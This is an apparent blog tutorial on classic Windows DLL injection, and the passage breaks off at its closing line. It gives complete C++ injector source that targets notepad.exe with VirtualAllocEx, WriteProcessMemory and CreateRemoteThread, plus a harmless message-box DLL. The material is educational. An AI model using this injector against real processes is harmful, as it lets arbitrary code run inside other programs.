Logo
Basic DLL Injection

Basic DLL Injection

SH∆FIQ∆IM∆N SH∆FIQ∆IM∆N
July 11, 2025
8 min read
index

Season Passes?

Hello comrade, welcome back! 🪖
This is a continuation of Basic Process Injection, because we’re going to use the same program but with a little twisty-twist: DLL injection.

Explanation (DLL injection WHAT???)

I briefly mentioned it here.
A DLL is basically a collection of data and functions that an application can call and use.

Think of it like a Python pip module — you can import it anywhere.

NUKE

For the nuke we’re about to build, we only need two things:

  1. A malicious, ultra-dangerous DLL.
  2. A humble program.exe (our injector) that loads and executes it.

Surprising, I know.

Here’s a high-level look at what we’re building:

As always, we’ll start by creating a function to enumerate running processes.
Then, just like in the previous post, we’ll snag a handle to our target process - let’s say notepad.exe.

Next, we allocate memory inside the target process and set the right permissions.
Meanwhile, inside our injector, we get the module handle of kernel32.dll and find the address of LoadLibraryW.

Finally, we call CreateRemoteThread to make the target process run LoadLibraryW and load our malicious DLL.

dll injection diagram

DLL Injection — diagram

BOOM! 💥

Free DLC

Alright, before we dive into how the heck do we even build a DLL?

Let’s understand what a DLL looks like at the code level. Lucky for us, Microsoft already dropped the holy grail of documentation on the DllMain entry point.

DllMain entry point

DllMain entry point

They’re also kind enough to explain what each fdwReason means:

DllMain fdwReason table

DllMain fdwReason table

I know that’s a lot of words. Honestly, sometimes I can’t stand them either.
But here’s the good news. We only really need to care about DLL_PROCESS_ATTACH.

Why DLL_PROCESS_ATTACH, you might ask? 🤔

Because that’s exactly when the DLL gets loaded into a process either when the process starts, or when we explicitly load it with LoadLibrary.

Creating the DLL

Alright, let’s build this thing.

For our “tool,” we’ll use Visual Studio, assuming you’re all cool people using VS. 😎
As always, create an empty project, then right-click on it and go to Properties.

Visual Studio properties

Visual Studio — properties

When the new window pops up, change the Configuration Type to Dynamic Library (.dll).
Then just click OK. Obviously.

Configuration type DLL

Configuration type — DLL

Now, let’s create our sweet, precious DLL 🤤.

What’s this DLL going to do? Super simple, it just spawns a message box with a cheeky message.
That’s it.

weewoopDLL.cpp
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hModule, DWORD dReason, LPVOID lpvReserved)
{
switch (dReason)
{
case DLL_PROCESS_ATTACH:
MessageBoxW(NULL, L"WEE WOO WEE WOO", L"LOL TITLE", MB_OK);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

Want to test your shiny new DLL? You can run it with rundll32.exe like so:

powershell
rundll32.exe .\weewoopDLL.dll, DllMain

Enumerate Processes

For enumerating processes, we’ll create a function that’s super straightforward.
How straightforward? Just copy the EnumerateProcess() function from the previous post.

Yes! It will enumerate processes until it finds our target.

DLL-Injection.cpp
HANDLE EnumerateProcess(LPCWSTR processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
printf("[ERR] invalid process snapshots. [code]-> %ld\n", GetLastError());
return NULL;
}
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
if (!Process32First(hSnapshot, &pe)) {
printf("[ERR] could not enumerate processes. [code]-> %ld\n", GetLastError());
return NULL;
}
do {
if (_wcsicmp(pe.szExeFile, processName) == 0) {
DWORD PID = pe.th32ProcessID;
printf("[INF] trying to open handle on [program]-> %ls, on [pid]-> %d\n", processName, PID);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
if (hProcess == NULL) {
printf("[ERR] could not open handle on [pid]-> %d, continuing...\n", PID);
}
else {
printf("[INF] successfully got handle on [pid]-> %d\n", PID);
CloseHandle(hSnapshot);
return hProcess;
}
}
} while (Process32Next(hSnapshot, &pe));
CloseHandle(hSnapshot);
return NULL;
}

This function just loops through all processes until it finds the one we want. Also, it takes processName as an argument.

LoadLibrary DLL

Welcome to the new stuff, comrade! Scary, I know. (Me too. 🥲)

So, to load a DLL we need to call LoadLibraryW. Correct! But how?
We can’t directly “code into” the target process.

Recall

When a program runs, it spins up its own process.
If we call LoadLibraryW directly, it’ll load the DLL into our injector process, not the target (notepad.exe).

So ladies and gentlemen, we can find the address of LoadLibraryW inside our own process (injector) by asking kernel32.dll.
That means we’re going to load it dynamically.

How?

We grab LoadLibraryW’s address from kernel32.dll.

If you peek at Kernel32.dll, you’ll see it indeed has LoadLibraryW. Great! Next, we get a handle to kernel32.dll with GetModuleHandle, then use GetProcAddress to fetch LoadLibraryW.

DLL-Injection.cpp
HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
FARPROC hLoadLibrary = GetProcAddress(hKernel32, "LoadLibraryW");
if (hLoadLibrary == NULL) {
printf("[ERR] unable to get LoadLibraryW address. [code]-> %ld\n", GetLastError());
return FALSE;
}
printf("[INF] LoadLibraryW was found at [address]-> %p\n", hLoadLibrary);

Why does this work?

Because Windows loads core DLLs like kernel32.dll at the same base address across processes, so we can pass that pointer straight into CreateRemoteThread.

It goes like this:

1. In Program.exe (injector):
- GetModuleHandle("kernel32.dll") → returns 0x7C800000 (example)
- GetProcAddress(handle, "LoadLibraryW") → returns 0x7C801234 (example)
2. In Notepad.exe (target):
- kernel32.dll is ALSO loaded at 0x7C800000
- LoadLibraryW is ALSO at 0x7C801234
3. CreateRemoteThread() runs a thread in notepad.exe starting at 0x7C801234
- Which is literally LoadLibraryW inside notepad.exe

Allocate Memory in the Remote Process

Next, we allocate memory in the target process using VirtualAllocEx.
This is basically the same as before, just with a slight change - we’ll use PAGE_READWRITE instead of PAGE_EXECUTE_READWRITE.

DLL-Injection.cpp
printf("[INF] allocating [memory]-> %lld bytes\n", szdllPath);
LPVOID pBuff = VirtualAllocEx(hProcess, NULL, szdllPath, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
if (pBuff == NULL) {
printf("[ERR] could not allocate memory. [code]-> %ld\n", GetLastError());
return FALSE;
}
printf("[INF] successfully allocated at [address]-> %p\n", pBuff);

Writing Payload into Allocated Memory

So far, we’ve only allocated memory. Now let’s actually write our beautiful poem into that reserved space. We’ll use WriteProcessMemory.

DLL-Injection.cpp
SIZE_T szWrittenBytes = NULL;
if (WriteProcessMemory(hProcess, pBuff, dllPath, szdllPath, &szWrittenBytes) == 0) {
printf("[ERR] could not write to memory. [code]-> %ld\n", GetLastError());
return FALSE;
}
printf("[INF] successfully written payload to memory\n");

Executing the Payload

AH YES, comrade! Welcome to the last step. Feels like déjà vu, right?

To execute our sweet malicious DLL, we create a new thread inside the target process using CreateRemoteThread. We pass hLoadLibrary as the lpStartAddress and pBuff (our DLL path) as the lpParameter.

DLL-Injection.cpp
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)hLoadLibrary, pBuff, NULL, NULL);
if (hThread == NULL) {
printf("[ERR] could not create new thread. [code]-> %ld\n", GetLastError());
return FALSE;
}
printf("[INF] successfully created a thread.\n");

And just like that! ROCK AND ROLL, BABEHHH!! 🎸

Main Functions

As always, let’s put all the puzzle pieces together. We’ll have two main functions:

  1. EnumerateProcess(LPCWSTR processName) to get a handle to the target process.
  2. InjectDLL(hProcess, dllPath) to actually perform the injection.
DLL-Injection.cpp
#include <windows.h>
#include <iostream>
#include <tlhelp32.h>
HANDLE EnumerateProcess(LPCWSTR processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
printf("[ERR] invalid process snapshots. [code]-> %ld\n", GetLastError());
return NULL;
}
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
if (!Process32First(hSnapshot, &pe)) {
printf("[ERR] could not enumerate processes. [code]-> %ld\n", GetLastError());
return NULL;
}
do {
if (_wcsicmp(pe.szExeFile, processName) == 0) {
DWORD PID = pe.th32ProcessID;
printf("[INF] trying to open handle on [program]-> %ls, on [pid]-> %d\n", processName, PID);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
if (hProcess == NULL) {
printf("[ERR] could not open handle on [pid]-> %d, continuing...\n", PID);
}
else {
printf("[INF] successfully got handle on [pid]-> %d\n", PID);
CloseHandle(hSnapshot);
return hProcess;
}
}
} while (Process32Next(hSnapshot, &pe));
CloseHandle(hSnapshot);
return NULL;
}
BOOL InjectDLL(HANDLE hProcess, wchar_t dllPath[MAX_PATH]) {
HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
FARPROC hLoadLibrary = GetProcAddress(hKernel32, "LoadLibraryW");
if (hLoadLibrary == NULL) {
printf("[ERR] unable to get LoadLibraryW address. [code]-> %ld\n", GetLastError());
return FALSE;
}
printf("[INF] LoadLibraryW was found at [address]-> %p\n", hLoadLibrary);
SIZE_T szdllPath = (wcslen(dllPath) + 1) * sizeof(dllPath);
printf("[INF] allocating [memory]-> %lld bytes\n", szdllPath);
LPVOID pBuff = VirtualAllocEx(hProcess, NULL, szdllPath, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
if (pBuff == NULL) {
printf("[ERR] could not allocate memory. [code]-> %ld\n", GetLastError());
return FALSE;
}
printf("[INF] successfully allocated at [address]-> %p\n", pBuff);
SIZE_T szWrittenBytes = NULL;
if (WriteProcessMemory(hProcess, pBuff, dllPath, szdllPath, &szWrittenBytes) == 0) {
printf("[ERR] could not write to memory. [code]-> %ld\n", GetLastError());
return FALSE;
}
printf("[INF] successfully written payload to memory\n");
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)hLoadLibrary, pBuff, NULL, NULL);
if (hThread == NULL) {
printf("[ERR] could not create new thread. [code]-> %ld\n", GetLastError());
return FALSE;
}
printf("[INF] successfully created a thread.\n");
return TRUE;
}
int main(int argc, char* argv[]) {
LPCWSTR processName = L"notepad.exe";
wchar_t dllPath[MAX_PATH] = L"C:\\Users\\user\\Desktop\\weewoopDLL.dll";
HANDLE hProcess = EnumerateProcess(processName);
InjectDLL(hProcess, dllPath);
return EXIT_FAILURE;
}

DLL sheesh

Now run your program. If everything works, you’ll see the MessageBox pop up… meaning our DLL was successfully injected and executed. 🎯

dll injection in action

DLL injection in action

Well comrades, you did really good today. As a reward, here are your bullets: